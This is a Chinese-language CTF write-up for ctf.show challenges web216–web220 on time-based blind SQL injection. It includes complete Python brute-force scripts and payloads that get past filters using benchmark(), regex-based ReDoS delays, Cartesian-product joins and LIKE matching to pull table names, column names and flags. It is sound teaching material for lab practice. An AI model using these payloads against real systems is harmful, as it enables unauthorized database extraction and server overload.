目录
1、web216
2、web217
3、web218
4、web219
5、web220
1、web216
最开始还以为是需要进行 base64 的相关处理,其实不必,直接闭合掉前面的括号即可,因为这里是字符串的拼接,将我们的 payload 替换掉那个 $id 。
在上一题的脚本上稍作修改:
# @author:Myon
# @time:20240813
import requests
import string
url = 'http://d695fa2a-e7ee-408f-a3df-407b8d98b14e.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''
for j in range(1, 50):
for k in dic:
# payload = {'debug':'1','ip':f"0)or if(substr(database(),{j},1)='{k}',sleep(3),0)#"} # 猜数据库名
# payload = {'debug': '1', 'ip': f"0)or if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',sleep(3),0)#"} # 猜表名
# payload = {'debug': '1','ip': f"0)or if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',sleep(3),0)#"} # 猜表名
# payload = {'debug': '1','ip': f"0)or if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcc'), {j}, 1) = '{k}',sleep(3),0)#"} # 猜列名
payload = {'debug': '1', 'ip': f"0)or if(substr((select flagaac from ctfshow_flagxcc), {j}, 1) = '{k}',sleep(3),0)#"} # 跑flag
re = requests.post(url, data=payload)
if re.elapsed.total_seconds() > 2:
out += k
break
print(out)
我们知道数据库名应该还是 ctfshow_web,那就直接跑列名吧:
payload = {'debug': '1', 'ip': f"0)or if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',sleep(3),0)#"}
表名为:ctfshow_flagxcc
查列名:
payload = {'debug': '1','ip': f"0)or if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcc'), {j}, 1) = '{k}',sleep(3),0)#"}
查一下这个 flagaac:
payload = {'debug': '1', 'ip': f"0)or if(substr((select flagaac from ctfshow_flagxcc), {j}, 1) = '{k}',sleep(3),0)#"}
拿到 flag:ctfshow{fc21aa5c-96ca-462a-ab81-954c58a38d55}
2、web217
淦,sleep 给过滤掉了,采用 benchmark 函数代替(之前面试就遇到过,时间盲注里 sleep 函数被过滤了怎么办,当时没答上来哈哈哈)
该函数是 MySQL 的一个内置函数,用于测试函数或表达式的执行速度,用法:
benchmark(count,expr),重复执行 count 次 expr 表达式,使得处理时间很长。
比如:
benchmark(10000000,md5('myon'))
将会执行 md5('myon') 10000000 次进而产生延时,可以测一下看看:
debug=1&ip=benchmark(10000000,md5('myon'))
大概执行了 10 秒钟
太久了,我们找一个合适点的次数:
debug=1&ip=benchmark(3000000,md5('myon'))
这个大概三秒钟,和我们前面设置的 sleep(3) 差不多
用 benchmark(3000000,md5('myon')) 替换脚本里的 sleep(3)。
我们也直接从表名开始吧,注意结尾不要接注释符,因为你前面没有闭合单引号,后面如果给注释掉,闭合是有问题的,无法产生延时。
payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"}
拿到表名为 ctfshow_flagxccb,继续查列名:
payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxccb'), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"}
查 flagaabc:
payload = {'debug': '1', 'ip': f"if(substr((select flagaabc from ctfshow_flagxccb), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"}
拿到 flag:ctfshow{65c24007-f50d-40a0-adde-4d67771a2e79}
完整脚本:
# @author:Myon
# @time:20240813
import requests
import string
url = 'http://6f8c19e2-81c7-4dbc-990c-aa3e3666e54f.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''
for j in range(1, 50):
for k in dic:
# payload = {'debug':'1','ip':f"if(substr(database(),{j},1)='{k}',benchmark(3000000,md5('myon')),0)"} # 猜数据库名
# payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"} # 猜表名
# payload = {'debug': '1','ip': f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"} # 猜表名
# payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxccb'), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"} # 猜列名
payload = {'debug': '1', 'ip': f"if(substr((select flagaabc from ctfshow_flagxccb), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"} # 跑flag
re = requests.post(url, data=payload)
if re.elapsed.total_seconds() > 2:
out += k
break
print(out)
3、web218
sleep 和 benchmark 都被过滤了,采用其他方法。
正则 DOS RLIKE注入:
利用 SQL 多次计算正则消耗计算资源产生延时效果,与 benchmark 原理类似,通过 rpad 或 repeat 构造长字符串,以计算量大的 pattern。
debug=1&ip=if(substr(database(),1,1)='c',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0)
这个大概有 3 秒的延时
我们也可以用 repeat 来简化一下,但是这个参数不太好调,并不是说越大耗时就越长
debug=1&ip=repeat(rpad('a', 999999, 'a'),16) rlike concat(repeat('(a.*)+',14), 'b')
这个大概有两秒以上的延迟吧
函数说明:
rlike 是 SQL 中用于执行正则表达式匹配的函数。
rpad(str,len,padstr) 用字符串 padstr 对 str 进行右边填补直到长度达到 len,返回 str 。
repeat(str,times) 就是复制 str 字符串 times 次。
concat 我们前面说过了,就是用来做拼接的。
为了结果准确些,我们还使用延时长一点的 3s 吧:
rlike 也可以用 regexp 代替
delay = "concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) rlike concat(repeat('(a.*)+',6),'b')"
前面的脚本是用 if 语句进行判断,这里写一下 try 语句,不用获取响应消耗的时间,而是我们手动设置一个请求超时的时间,因为前面的延时大概是 3s ,这里超时时间设小一点,为 1.5s。
我们还是直接跑表名:
payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',{delay},0)"}
得到表名是 ctfshow_flagxc
接下来跑列名:
payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxc'), {j}, 1) = '{k}',{delay},0)"}
看着有点问题,我们将超时时间再改小一点:
re = requests.post(url, data=payload,timeout=1)
这次没问题,拿到列名 flagaac
查字段信息:
payload = {'debug': '1', 'ip': f"if(substr((select flagaac from ctfshow_flagxc), {j}, 1) = '{k}',{delay}"}
跑着跑着又出问题,我还是改回了 0.5s 的超时
re = requests.post(url, data=payload,timeout=0.5)
这样搞其实对服务器也有一定影响,我们可以在猜到一个字符后就延时一会儿再继续猜,一定程度上可以提高准确率。
这次跑出来是:ctfshow{b8414820p-83dk2-458c-8f75-4d6sf4202a08c4d}
交了一下,果然不对,有问题。
后面我才发现,它这个延时没有之前的 3s 了,只有 1s 多点。
可能我们测试久了影响到了环境,那就将延时设置为 0.8 吧。
最后试了下,还是用获取总的耗时判断更为准确些:
正确 flag:ctfshow{b8414820-83d2-458c-8f75-4d6f420a8c4d}
我以为是设置超时容易误判,但是又试了一下设置超时的方法,在开始循环遍历前以及猜出正确字符后都进行延时,超时时间为 0.8s:
跑出结果一样,那就说明是那个判断时间的问题,因为一开始在 hackbar 测试,那个 payload 大概是 3s,结果后面变成了只有 1s 左右,因此 1s 和 0.5s 都可能会导致结果不准确,这里主要还是设置好一个判定时间,改成 0.8s 就比较准确了,具体多少取决于你实际题目环境。
完整脚本:
# @author:Myon
# @time:20240814
import requests
import string
from time import *
url = 'http://5729e629-2a49-4f06-a7a4-c9a247648427.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''
delay = "concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) rlike concat(repeat('(a.*)+',6),'b')"
for j in range(1, 50):
for k in dic:
sleep(0.2) # 遍历每个字符前延时0.2s
# payload = {'debug':'1','ip':f"if(substr(database(),{j},1)='{k}',{delay},0)"} # 猜数据库名
# payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',{delay},0)"} # 猜表名
# payload = {'debug': '1','ip': f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',{delay},0)"} # 猜表名
# payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxc'), {j}, 1) = '{k}',{delay},0)"} # 猜列名
payload = {'debug': '1', 'ip': f"if(substr((select flagaac from ctfshow_flagxc), {j}, 1) = '{k}',{delay},0)"} # 跑flag
try:
re = requests.post(url, data=payload,timeout=0.8)
except:
out += k
break
print(out)
sleep(1) # 猜对一个字符延时1s
# re = requests.post(url, data=payload)
# if re.elapsed.total_seconds() > 0.8:
# out += k
# break
# print(out)
除了 rlike®exp注入,这道题还可以采用笛卡尔积注入,我们放在下一题说。
4、web219
这里把 rlike 过滤了,可以用 regexp 代替:
delay = "concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) regexp concat(repeat('(a.*)+',6),'b')"
我们只证明可行,这里以跑列名为例:
payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',{delay},0)"} # 猜表名
说实话,我是真觉得 elapsed.total_seconds() 比 timeout 准确很多,因为刚才用请求超时的方法跑出来又有误差。
拿到表名:ctfshow_flagxca
后面我们使用笛卡尔积注入来实现:
让 Mysql 进行笛卡尔算积使其造成大负荷查询达到延时的效果
笛卡尔积(因为连接表是一个很耗时的操作)
AxB=A和B中每个元素的组合所组成的集合,就是连接表
在 mysql 下有一个很大的数据库 information_schema ,包含了所有的数据库和表信息。
SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
可以按照这个规律,从 C 后面加个逗号,写 D,E 等等,想写多少就写多少,但是写的越多查询的速度就会越慢,如果在表或者列数量很少的情况下,可以写的多一点。
使用
(select count(*) from information_schema.columns A, information_schema.columns B)
代替 sleep 函数
查列名:
payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxca'), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"} # 猜列名
边测试边调整判定时间,我这里最后测出来是 0.4s 比较合适
if re.elapsed.total_seconds() > 0.4:
拿到列名:flagaabc
最后查字段信息:
payload = {'debug': '1', 'ip': f"if(substr((select flagaabc from ctfshow_flagxca), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"} # 跑flag
拿到 flag:ctfshow{6ff5e1c5-00b2-4177-a9ab-483645d05dfc}
完整脚本:
# @author:Myon
# @time:20240814
import requests
import string
url = 'http://4b0eb2f3-4461-4df7-b139-e9ef2a0ef978.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''
for j in range(1, 50):
for k in dic:
# payload = {'debug':'1','ip':f"if(substr(database(),{j},1)='{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"} # 猜数据库名
# payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"} # 猜表名
# payload = {'debug': '1','ip': f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"} # 猜表名
# payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxca'), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"} # 猜列名
payload = {'debug': '1', 'ip': f"if(substr((select flagaabc from ctfshow_flagxca), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"} # 跑flag
re = requests.post(url, data=payload)
if re.elapsed.total_seconds() > 0.4:
out += k
break
print(out)
5、web220
过滤掉了 sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr
我们这里是直接判断的字符,因此没有使用到 ascii ,就算是基于 ASCII 码值判断的,ascii 被过滤了,也可以用ord 替代;
rlike 被过滤,如果用正则的注入则可以采用 regexp 代替;
mid、substr 被过滤,可以采用 right、left、rpad、lpad 等,这个方法在前面布尔盲注我们已经介绍过了,这里还可以采用 like,延时我们还是使用笛卡尔积。
这个 like 的用法其实我们前面也介绍过,结合 % 进行通配,还有印象吗?
没印象的可以再去看看前面的布尔盲注。
我们先猜表名:
payload = {'debug': '1', 'ip': f"if((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1) like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}
有问题
看了一下,这个笛卡尔积在我这道题目环境测出来大概是 1s 左右的延时,因此我们需要调大判断的时间,否则就容易出误判:
调成了 0.8s 再跑一次:
if re.elapsed.total_seconds() > 0.8:
这次就很 nice 了
拿到表名 ctfshow_flagxcac,我们继续跑列名:
注意,这里过滤了 concat ,因此我们的 group_concat 也无法使用,采用 limit 。
payload = {'debug': '1','ip': f"if((select column_name from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcac' limit 0, 1) like '{out + k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}
第一行是 id,我们看下其他行的结果,调整 limit 的参数看第二行的结果:
limit 1, 1
payload = {'debug': '1','ip': f"if((select column_name from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcac' limit 1, 1) like '{out + k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}
字段名为 flagaabcc
查该字段的详细信息:
payload = {'debug': '1', 'ip': f"if((select flagaabcc from ctfshow_flagxcac) like '{out + k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}
我这里跑了三次,前两次都有点问题,可以在代码中加上一定延时以提高准确率。
拿到 flag:ctfshow{f1f9ef13-cd3a-4f56-b05a-297fe580efa8}
附上完整脚本:
# @author:Myon
# @time:20240814
import requests
import string
url = 'http://57957d8f-f6a5-4769-a1b7-c87499c0995e.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''
for j in range(1, 50):
for k in dic:
# payload = {'debug':'1','ip':f"if(database() like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"} # 猜数据库名
# payload = {'debug': '1', 'ip': f"if((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1) like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"} # 猜表名
# payload = {'debug': '1','ip': f"if((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web') like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"} # 猜表名
# payload = {'debug': '1','ip': f"if((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcac') like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"} # 猜列名
# payload = {'debug': '1','ip': f"if((select column_name from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcac' limit 1, 1) like '{out + k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"} # 猜列名
payload = {'debug': '1', 'ip': f"if((select flagaabcc from ctfshow_flagxcac) like '{out + k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"} # 跑flag
re = requests.post(url, data=payload)
if re.elapsed.total_seconds() > 0.8:
out += k
break
print(out)
至此,时间盲注结束。